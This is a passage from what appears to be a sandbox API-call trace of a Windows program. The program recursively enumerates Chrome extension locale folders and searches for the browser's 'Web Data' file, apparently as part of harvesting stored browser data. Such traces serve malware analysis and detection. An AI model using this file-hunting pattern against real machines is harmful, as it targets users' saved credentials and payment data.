Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he" [0056.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*" [0056.361] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.361] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.361] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.361] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.361] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.361] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.362] LocalFree (hMem=0x2e0328) returned 0x0 [0056.362] LocalFree (hMem=0x2e0218) returned 0x0 [0056.362] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.362] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.362] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.362] lstrlenA (lpString="\\") returned 1 [0056.362] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.362] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.362] lstrlenA (lpString="hi") returned 2 [0056.362] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.362] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi" [0056.362] LocalFree (hMem=0x2e0108) returned 0x0 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned 133 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned 133 [0056.362] lstrlenA (lpString="\\*.*") returned 4 [0056.362] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.362] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi" [0056.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*" [0056.362] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.362] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.362] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.362] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.362] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.362] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.362] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.362] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.362] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.362] LocalFree (hMem=0x2e0328) returned 0x0 [0056.362] LocalFree (hMem=0x2e0218) returned 0x0 [0056.362] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.362] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.362] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.362] lstrlenA (lpString="\\") returned 1 [0056.362] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.362] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.362] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.362] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.363] lstrlenA (lpString="hr") returned 2 [0056.363] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.363] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr" [0056.363] LocalFree (hMem=0x2e0108) returned 0x0 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned 133 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned 133 [0056.363] lstrlenA (lpString="\\*.*") returned 4 [0056.363] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.363] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr" [0056.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*" [0056.363] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.363] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.363] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.363] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.363] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.363] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.363] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.363] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.363] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.363] LocalFree (hMem=0x2e0328) returned 0x0 [0056.363] LocalFree (hMem=0x2e0218) returned 0x0 [0056.363] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.363] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.363] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.363] lstrlenA (lpString="\\") returned 1 [0056.363] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.363] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.363] lstrlenA (lpString="hu") returned 2 [0056.363] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.363] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu" [0056.363] LocalFree (hMem=0x2e0108) returned 0x0 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned 133 [0056.363] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned 133 [0056.363] lstrlenA (lpString="\\*.*") returned 4 [0056.363] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.363] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu" [0056.363] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*" [0056.363] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.364] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.364] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.364] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.364] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.364] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.364] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.364] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.364] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.364] LocalFree (hMem=0x2e0328) returned 0x0 [0056.364] LocalFree (hMem=0x2e0218) returned 0x0 [0056.364] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.364] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.364] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.364] lstrlenA (lpString="\\") returned 1 [0056.364] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.364] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.364] lstrlenA (lpString="id") returned 2 [0056.364] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.364] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id" [0056.364] LocalFree (hMem=0x2e0108) returned 0x0 [0056.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned 133 [0056.364] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned 133 [0056.364] lstrlenA (lpString="\\*.*") returned 4 [0056.364] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.364] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id" [0056.364] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 